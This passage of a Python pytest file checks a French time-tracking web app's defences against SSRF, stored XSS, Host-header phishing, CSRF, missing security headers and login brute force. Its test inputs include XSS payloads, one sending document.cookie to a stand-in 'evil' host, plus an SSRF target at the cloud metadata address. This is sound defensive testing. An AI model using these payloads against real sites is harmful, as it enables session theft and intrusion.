"""POST /settings avec un serveur SSRF doit être rejeté."""
|
||||
cookies = _login("carol")
|
||||
# Préserve un topic valide
|
||||
models.save_notif_config("carol", ntfy_topic="t", ntfy_server="https://ntfy.sh")
|
||||
r = client.post("/settings", cookies=cookies, data={
|
||||
"ntfy_topic": "topic-x",
|
||||
"ntfy_server": "http://169.254.169.254",
|
||||
"ntfy_token": "",
|
||||
"rappel_debut_h": "8",
|
||||
"rappel_fin_h": "19",
|
||||
}, follow_redirects=False)
|
||||
assert r.status_code == 303
|
||||
assert "ssrf_error=1" in r.headers["location"]
|
||||
# La valeur précédente est conservée
|
||||
cfg = models.load_notif_config("carol")
|
||||
assert cfg["ntfy_server"] == "https://ntfy.sh"
|
||||
|
||||
|
||||
# ── XSS stocké via /pointage ──────────────────────────────────────────────────
|
||||
|
||||
XSS_PAYLOADS = [
|
||||
'"><svg/onload=alert(1)>',
|
||||
'"><script>alert(document.cookie)</script>',
|
||||
"'/><script>fetch('//evil/'+document.cookie)</script>",
|
||||
]
|
||||
|
||||
|
||||
def test_pointage_rejects_non_hhmm_value():
|
||||
"""POST /pointage avec une valeur non HHMM ne doit pas être persistée."""
|
||||
cookies = _login("dave")
|
||||
for payload in XSS_PAYLOADS:
|
||||
r = client.post("/pointage/2026-07-17", cookies=cookies, data={
|
||||
"matin_entree": payload,
|
||||
"matin_sortie": "",
|
||||
"aprem_entree": "",
|
||||
"aprem_sortie": "",
|
||||
})
|
||||
# La réponse ne doit pas planter
|
||||
assert r.status_code == 200
|
||||
# Le payload ne doit pas se retrouver tel quel dans la réponse
|
||||
assert payload not in r.text, payload
|
||||
# Vérification de la persistance
|
||||
week = models.load_week_pointages(2026, 29, "dave")
|
||||
entry = next((p for p in week if p["date"] == "2026-07-17"), None)
|
||||
assert entry is not None
|
||||
# matin_entree doit avoir été ignoré (None), pas stocké tel quel
|
||||
assert entry["matin_entree"] is None
|
||||
|
||||
|
||||
def test_pointage_valid_hhmm_still_works():
|
||||
"""Un pointage HHMM valide doit continuer à fonctionner."""
|
||||
cookies = _login("erin")
|
||||
r = client.post("/pointage/2026-07-17", cookies=cookies, data={
|
||||
"matin_entree": "08:45",
|
||||
"matin_sortie": "12:00",
|
||||
"aprem_entree": "",
|
||||
"aprem_sortie": "",
|
||||
})
|
||||
assert r.status_code == 200
|
||||
assert "08:45" in r.text
|
||||
week = models.load_week_pointages(2026, 29, "erin")
|
||||
entry = next((p for p in week if p["date"] == "2026-07-17"), None)
|
||||
assert entry["matin_entree"] == "08:45"
|
||||
|
||||
|
||||
def test_oob_html_escapes_date_attribute():
|
||||
"""Si la date (issue de l'URL) contient des caractères HTML, ils doivent être échappés."""
|
||||
cookies = _login("frank")
|
||||
# Forçage d'un pointage valide pour déclencher le rendu _oob_time_cells
|
||||
client.post("/pointage/2026-07-17", cookies=cookies, data={
|
||||
"matin_entree": "08:45", "matin_sortie": "", "aprem_entree": "", "aprem_sortie": "",
|
||||
})
|
||||
# Une date malicieuse dans /refresh/... doit être échappée si elle passe strptime
|
||||
# (les caractères HTML ne passent pas strptime, mais on vérifie que l'escape est actif
|
||||
# sur le rendu d'un pointage normal pour la date légitime)
|
||||
r = client.post("/pointage/2026-07-17", cookies=cookies, data={
|
||||
"matin_entree": "08:45", "matin_sortie": "12:00",
|
||||
"aprem_entree": "14:00", "aprem_sortie": "17:30",
|
||||
})
|
||||
assert "<script" not in r.text.lower()
|
||||
assert "onload" not in r.text.lower()
|
||||
|
||||
|
||||
# ── Open redirect via Host header ─────────────────────────────────────────────
|
||||
# Le lien set-password est envoyé par email ; son host venait de request.base_url
|
||||
# lui-même issu du header Host contrôlable par le client. Un attaquant pouvait
|
||||
# déclencher l'envoi d'un email légitime contenant un host arbitraire (phishing).
|
||||
|
||||
|
||||
def _patch_send_mail_captor(monkeypatch):
|
||||
"""Remplace send_mail par un capteur ; retourne le dict où les appels seront stockés."""
|
||||
captured = {"calls": []}
|
||||
|
||||
def _fake_send_mail(to_addr, subject, body, from_addr, smtp_cfg):
|
||||
captured["calls"].append({
|
||||
"to": to_addr, "subject": subject, "body": body,
|
||||
"from": from_addr, "smtp": smtp_cfg,
|
||||
})
|
||||
|
||||
monkeypatch.setattr(main, "send_mail", _fake_send_mail)
|
||||
# Configure aussi un SMTP fictif pour que la route ne plante pas avant l'appel
|
||||
cfg = models.load_config()
|
||||
cfg["smtp"] = {"host": "smtp.test", "port": 587, "user": "u", "password": "p", "use_tls": True}
|
||||
models.save_config(cfg)
|
||||
return captured
|
||||
|
||||
|
||||
def test_login_rejects_untrusted_host(monkeypatch):
|
||||
"""POST /login avec Host=phishing.attacker ne doit pas envoyer d'email."""
|
||||
captured = _patch_send_mail_captor(monkeypatch)
|
||||
# Config : allowed_email_domain=x.fr, pas de base_url, host attendu = *.x.fr ou localhost
|
||||
r = client.post(
|
||||
"/login",
|
||||
data={"email": "nouveau.x@x.fr"},
|
||||
headers={"Host": "phishing.attacker"},
|
||||
follow_redirects=False,
|
||||
)
|
||||
# L'email n'est pas envoyé
|
||||
assert captured["calls"] == []
|
||||
# Un message d'erreur est renvoyé
|
||||
assert "non autorisé" in r.text.lower() or "domaine" in r.text.lower()
|
||||
|
||||
|
||||
def test_login_accepts_host_matching_allowed_email_domain(monkeypatch):
|
||||
"""POST /login avec Host=app.x.fr (suffixe du domaine autorisé) doit envoyer l'email."""
|
||||
captured = _patch_send_mail_captor(monkeypatch)
|
||||
r = client.post(
|
||||
"/login",
|
||||
data={"email": "nouveau2.x@x.fr"},
|
||||
headers={"Host": "app.x.fr"},
|
||||
follow_redirects=False,
|
||||
)
|
||||
assert len(captured["calls"]) == 1
|
||||
body = captured["calls"][0]["body"]
|
||||
# L'URL dans l'email doit pointer vers le host attendu, pas un host arbitraire
|
||||
assert "http://app.x.fr/set-password/" in body
|
||||
|
||||
|
||||
def test_login_accepts_localhost_for_local_dev(monkeypatch):
|
||||
"""localhost doit toujours être accepté (utile pour dev local et tests)."""
|
||||
captured = _patch_send_mail_captor(monkeypatch)
|
||||
client.post(
|
||||
"/login",
|
||||
data={"email": "local.x@x.fr"},
|
||||
headers={"Host": "localhost:8000"},
|
||||
follow_redirects=False,
|
||||
)
|
||||
assert len(captured["calls"]) == 1
|
||||
assert "http://localhost:8000/set-password/" in captured["calls"][0]["body"]
|
||||
|
||||
|
||||
def test_login_uses_configured_base_url_regardless_of_host(monkeypatch):
|
||||
"""Si base_url est défini en config, c'est elle qui prime (anti spoofing Host)."""
|
||||
captured = _patch_send_mail_captor(monkeypatch)
|
||||
cfg = models.load_config()
|
||||
cfg["base_url"] = "https://pointeuse.officielle.fr"
|
||||
models.save_config(cfg)
|
||||
|
||||
r = client.post(
|
||||
"/login",
|
||||
data={"email": "config.x@x.fr"},
|
||||
headers={"Host": "phishing.attacker"},
|
||||
follow_redirects=False,
|
||||
)
|
||||
# L'email est envoyé avec l'URL officielle, pas le host spoofé
|
||||
assert len(captured["calls"]) == 1
|
||||
assert "https://pointeuse.officielle.fr/set-password/" in captured["calls"][0]["body"]
|
||||
assert "phishing.attacker" not in captured["calls"][0]["body"]
|
||||
# Cleanup
|
||||
cfg["base_url"] = ""
|
||||
models.save_config(cfg)
|
||||
|
||||
|
||||
def test_safe_base_url_helper_unit():
|
||||
"""Tests unitaires du helper _safe_base_url."""
|
||||
from starlette.datastructures import Headers
|
||||
|
||||
class _FakeReq:
|
||||
def __init__(self, host, scheme="http"):
|
||||
self.headers = Headers({"host": host})
|
||||
self.url = type("U", (), {"scheme": scheme})()
|
||||
|
||||
# Aucune config base_url, domaine autorisé x.fr
|
||||
# Host valide (suffixe)
|
||||
assert main._safe_base_url(_FakeReq("app.x.fr")).endswith("://app.x.fr")
|
||||
# Host invalide
|
||||
assert main._safe_base_url(_FakeReq("evil.attacker")) is None
|
||||
# localhost OK
|
||||
assert "localhost" in main._safe_base_url(_FakeReq("localhost"))
|
||||
# Host sans header → None
|
||||
assert main._safe_base_url(_FakeReq("")) is None
|
||||
|
||||
|
||||
# ── Protection CSRF (Origin check) ────────────────────────────────────────────
|
||||
|
||||
def test_csrf_rejects_post_with_cross_site_origin():
|
||||
"""Un POST avec Origin cross-site doit être rejeté."""
|
||||
cookies = _login("grace")
|
||||
r = client.post(
|
||||
"/pointage/2026-07-17",
|
||||
cookies=cookies,
|
||||
data={"matin_entree": "08:00", "matin_sortie": "", "aprem_entree": "", "aprem_sortie": ""},
|
||||
headers={"Host": "testserver", "Origin": "https://evil.attacker"},
|
||||
follow_redirects=False,
|
||||
)
|
||||
assert r.status_code == 403
|
||||
assert "csrf" in r.text.lower()
|
||||
|
||||
|
||||
def test_csrf_rejects_post_with_cross_site_referer():
|
||||
"""Un POST avec Referer cross-site doit aussi être rejeté."""
|
||||
cookies = _login("heidi")
|
||||
r = client.post(
|
||||
"/pointage/2026-07-17",
|
||||
cookies=cookies,
|
||||
data={"matin_entree": "08:00", "matin_sortie": "", "aprem_entree": "", "aprem_sortie": ""},
|
||||
headers={"Host": "testserver", "Referer": "https://evil.attacker/page"},
|
||||
follow_redirects=False,
|
||||
)
|
||||
assert r.status_code == 403
|
||||
|
||||
|
||||
def test_csrf_accepts_post_without_origin():
|
||||
"""L'absence d'Origin (curl/Tasker) doit être tolérée (SameSite suffit)."""
|
||||
cookies = _login("ivan")
|
||||
r = client.post(
|
||||
"/pointage/2026-07-17",
|
||||
cookies=cookies,
|
||||
data={"matin_entree": "08:00", "matin_sortie": "", "aprem_entree": "", "aprem_sortie": ""},
|
||||
follow_redirects=False,
|
||||
)
|
||||
assert r.status_code == 200
|
||||
|
||||
|
||||
def test_csrf_accepts_post_with_matching_origin():
|
||||
"""Un POST avec Origin == Host est accepté."""
|
||||
cookies = _login("judy")
|
||||
r = client.post(
|
||||
"/pointage/2026-07-17",
|
||||
cookies=cookies,
|
||||
data={"matin_entree": "08:00", "matin_sortie": "", "aprem_entree": "", "aprem_sortie": ""},
|
||||
headers={"Host": "testserver", "Origin": "http://testserver"},
|
||||
follow_redirects=False,
|
||||
)
|
||||
assert r.status_code == 200
|
||||
|
||||
|
||||
def test_csrf_accepts_get_regardless_of_origin():
|
||||
"""Les GET ne sont pas concernés par la vérification CSRF."""
|
||||
r = client.get("/login", headers={"Origin": "https://evil.attacker"})
|
||||
# 200 (page login) ou 302 (déjà loggué) mais pas 403
|
||||
assert r.status_code != 403
|
||||
|
||||
|
||||
# ── Endpoints de présence : POST uniquement (anti CSRF trivial) ──────────────
|
||||
|
||||
def test_presence_endpoints_require_post():
|
||||
"""Les endpoints /presence/... doivent refuser les GET (CSRF trivial via <img src>)."""
|
||||
notif = models.load_notif_config("alice") if (models.DATA_DIR / "users" / "alice").exists() else None
|
||||
# Crée alice si nécessaire et récupère un token valide
|
||||
_seed_user("alice")
|
||||
token = models.load_notif_config("alice")["token"]
|
||||
|
||||
# GET doit échouer (405 Method Not Allowed)
|
||||
r_get_arr = client.get(f"/presence/{token}/arrivee", follow_redirects=False)
|
||||
r_get_dep = client.get(f"/presence/{token}/depart", follow_redirects=False)
|
||||
assert r_get_arr.status_code == 405, r_get_arr.status_code
|
||||
assert r_get_dep.status_code == 405
|
||||
|
||||
# POST doit fonctionner
|
||||
r_post_arr = client.post(f"/presence/{token}/arrivee")
|
||||
r_post_dep = client.post(f"/presence/{token}/depart")
|
||||
assert r_post_arr.status_code == 200
|
||||
assert r_post_dep.status_code == 200
|
||||
assert r_post_arr.json() == {"ok": True}
|
||||
|
||||
|
||||
# ── En-têtes de sécurité + cookie Secure ──────────────────────────────────────
|
||||
|
||||
def test_security_headers_present_on_every_response():
|
||||
"""Les en-têtes X-Content-Type-Options, X-Frame-Options, CSP et Referrer-Policy
|
||||
doivent être positionnés sur toutes les réponses."""
|
||||
r = client.get("/login")
|
||||
assert r.headers.get("X-Content-Type-Options") == "nosniff"
|
||||
assert r.headers.get("X-Frame-Options") == "DENY"
|
||||
assert r.headers.get("Referrer-Policy") == "same-origin"
|
||||
csp = r.headers.get("Content-Security-Policy", "")
|
||||
assert "default-src 'self'" in csp
|
||||
assert "frame-ancestors 'none'" in csp
|
||||
assert "base-uri 'self'" in csp
|
||||
|
||||
|
||||
def test_hsts_header_only_on_https():
|
||||
"""HSTS ne doit être positionné qu'en HTTPS."""
|
||||
# En HTTP (TestClient par défaut), pas de HSTS
|
||||
r = client.get("/login")
|
||||
assert "Strict-Transport-Security" not in r.headers
|
||||
|
||||
# En HTTPS, HSTS doit être présent
|
||||
https_client = TestClient(main.app, base_url="https://testserver")
|
||||
r2 = https_client.get("/login")
|
||||
assert r2.headers.get("Strict-Transport-Security", "").startswith("max-age=31536000")
|
||||
|
||||
|
||||
def test_cookie_has_secure_flag_over_https():
|
||||
"""Sur une requête HTTPS, le cookie de session doit porter le drapeau Secure."""
|
||||
https_client = TestClient(main.app, base_url="https://testserver")
|
||||
_seed_user("kate")
|
||||
r = https_client.post(
|
||||
"/login/password",
|
||||
data={"email": "kate@x.fr", "password": "x" * 12},
|
||||
follow_redirects=False,
|
||||
)
|
||||
assert r.status_code == 302
|
||||
cookie = r.headers.get("set-cookie", "")
|
||||
assert "Secure" in cookie, cookie
|
||||
assert "HttpOnly" in cookie
|
||||
assert "SameSite=lax" in cookie
|
||||
|
||||
|
||||
def test_cookie_omits_secure_flag_over_http():
|
||||
"""En HTTP (dev local), le cookie ne doit pas avoir Secure (sinon il ne serait pas posé)."""
|
||||
_seed_user("liam")
|
||||
r = client.post(
|
||||
"/login/password",
|
||||
data={"email": "liam@x.fr", "password": "x" * 12},
|
||||
follow_redirects=False,
|
||||
)
|
||||
assert r.status_code == 302
|
||||
cookie = r.headers.get("set-cookie", "")
|
||||
assert "HttpOnly" in cookie
|
||||
assert "SameSite=lax" in cookie
|
||||
# En HTTP, pas de Secure (sinon le navigateur refuserait le cookie)
|
||||
assert "Secure" not in cookie
|
||||
|
||||
|
||||
def test_force_secure_cookies_config_overrides_scheme():
|
||||
"""config.force_secure_cookies doit forcer Secure même en HTTP."""
|
||||
cfg = models.load_config()
|
||||
cfg["force_secure_cookies"] = True
|
||||
models.save_config(cfg)
|
||||
try:
|
||||
_seed_user("mona")
|
||||
r = client.post(
|
||||
"/login/password",
|
||||
data={"email": "mona@x.fr", "password": "x" * 12},
|
||||
follow_redirects=False,
|
||||
)
|
||||
assert "Secure" in r.headers.get("set-cookie", "")
|
||||
finally:
|
||||
cfg["force_secure_cookies"] = False
|
||||
models.save_config(cfg)
|
||||
|
||||
|
||||
# ── Rate-limiting /login et /login/password ───────────────────────────────────
|
||||
# Empêche le brute-force du mot de passe et le mail-bombing SMTP.
|
||||
|
||||
def test_login_password_rate_limit_kicks_in():
|
||||
"""Au-delà de la limite, /login/password doit refuser."""
|
||||
main._LOGIN_ATTEMPTS.clear()
|
||||
_seed_user("nina")
|
||||
cfg = models.load_config()
|
||||
cfg["login_rate_limit_per_min"] = 3
|
||||
models.save_config(cfg)
|
||||
try:
|
||||
# 3 tentatives (toutes incorrectes) → autorisées
|
||||
for _ in range(3):
|
||||
r = client.post(
|
||||
"/login/password",
|
||||
data={"email": "nina@x.fr", "password": "bad"},
|
||||
follow_redirects=False,
|
||||
)
|
||||
assert r.status_code == 200
|
||||
assert "incorrect" in r.text.lower() or "Mot de passe" in r.text
|
||||
# 4e tentative → bloquée
|
||||
r4 = client.post(
|
||||
"/login/password",
|
||||
data={"email": "nina@x.fr", "password": "bad"},
|
||||
follow_redirects=False,
|
||||
)
|
||||
assert r4.status_code == 200
|
||||
assert "Trop de tentatives" in r4.text
|
||||
finally:
|
||||
cfg["login_rate_limit_per_min"] = main.DEFAULT_LOGIN_MAX_PER_MIN
|
||||
models.save_config(cfg)
|
||||
main._LOGIN_ATTEMPTS.clear()
|
||||
|
||||
|
||||
def test_login_post_rate_limit_kicks_in():
|
||||
"""Au-delà de la limite, POST /login doit refuser (mail-bombing)."""
|
||||
main._LOGIN_ATTEMPTS.clear()
|
||||
cfg = models.load_config()
|
||||
cfg["login_rate_limit_per_min"] = 2
|
||||
# Config SMTP valide pour que la route ne plante pas avant send_mail
|
||||
cfg["smtp"] = {"host": "smtp.test", "port": 587, "user": "u", "password": "p", "use_tls": True}
|
||||
models.save_config(cfg)
|
||||
try:
|
||||
# 2 POST /login OK (le mail peut échouer, mais le rate limit passe)
|
||||
for i in range(2):
|
||||
r = client.post("/login", data={"email": f"victim{i}.x@x.fr"})
|
||||
assert "Trop de tentatives" not in r.text
|
||||
# 3e POST → bloqué
|
||||
r3 = client.post("/login", data={"email": "victim3.x@x.fr"})
|
||||
assert "Trop de tentatives" in r3.text
|
||||
finally:
|
||||
cfg["login_rate_limit_per_min"] = main.DEFAULT_LOGIN_MAX_PER_MIN
|
||||
models.save_config(cfg)
|
||||
main._LOGIN_ATTEMPTS.clear()
|
||||
|
||||
|
||||
def test_rate_limit_independent_per_email():
|
||||
"""Le rate limit /login/password est par (ip, email) : deux emails distincts
|
||||
ne se partagent pas leur quota."""
|
||||
main._LOGIN_ATTEMPTS.clear()
|
||||
cfg = models.load_config()
|
||||
cfg["login_rate_limit_per_min"] = 2
|
||||
models.save_config(cfg)
|
||||
try:
|
||||
_seed_user("oscar")
|
||||
# 2 tentatives sur "oscar" → OK
|
||||
for _ in range(2):
|
||||
client.post("/login/password", data={"email": "oscar@x.fr", "password": "x"}, follow_redirects=False)
|
||||
# La 3e sur "oscar" doit échouer
|
||||
r_o = client.post("/login/password", data={"email": "oscar@x.fr", "password": "x"}, follow_redirects=False)
|
||||
assert "Trop de tentatives" in r_o.text
|
||||
# Une autre adresse email doit encore fonctionner
|
||||
_seed_user("paul")
|
||||
r_p = client.post("/login/password", data={"email": "paul@x.fr", "password": "x"}, follow_redirects=False)
|
||||
assert "Trop de tentatives" not in r_p.text
|
||||
finally:
|
||||
cfg["login_rate_limit_per_min"] = main.DEFAULT_LOGIN_MAX_PER_MIN
|
||||
models.save_config(cfg)
|
||||
main._LOGIN_ATTEMPTS.clear()
|
||||
|
||||
|
||||
def test_rate_limit_can_be_disabled_via_config():
|
||||
"""config.login_rate_limit_per_min = 0 doit désactiver le rate limit."""
|
||||
main._LOGIN_ATTEMPTS.clear()
|
||||
cfg = models.load_config()
|
||||
cfg["login_rate_limit_per_min"] = 0
|
||||
models.save_config(cfg)
|
||||
try:
|
||||
_seed_user("quinn")
|
||||
# Beaucoup de tentatives : aucune ne doit être bloquée
|
||||
for _ in range(50):
|
||||
r = client.post("/login/password", data={"email": "quinn@x.fr", "password": "x"}, follow_redirects=False)
|
||||
assert "Trop de tentatives" not in r.text, r.text
|
||||
finally:
|
||||
cfg["login_rate_limit_per_min"] = main.DEFAULT_LOGIN_MAX_PER_MIN
|
||||
models.save_config(cfg)
|
||||
main._LOGIN_ATTEMPTS.clear()
|
||||
Reference in New Issue
Block a user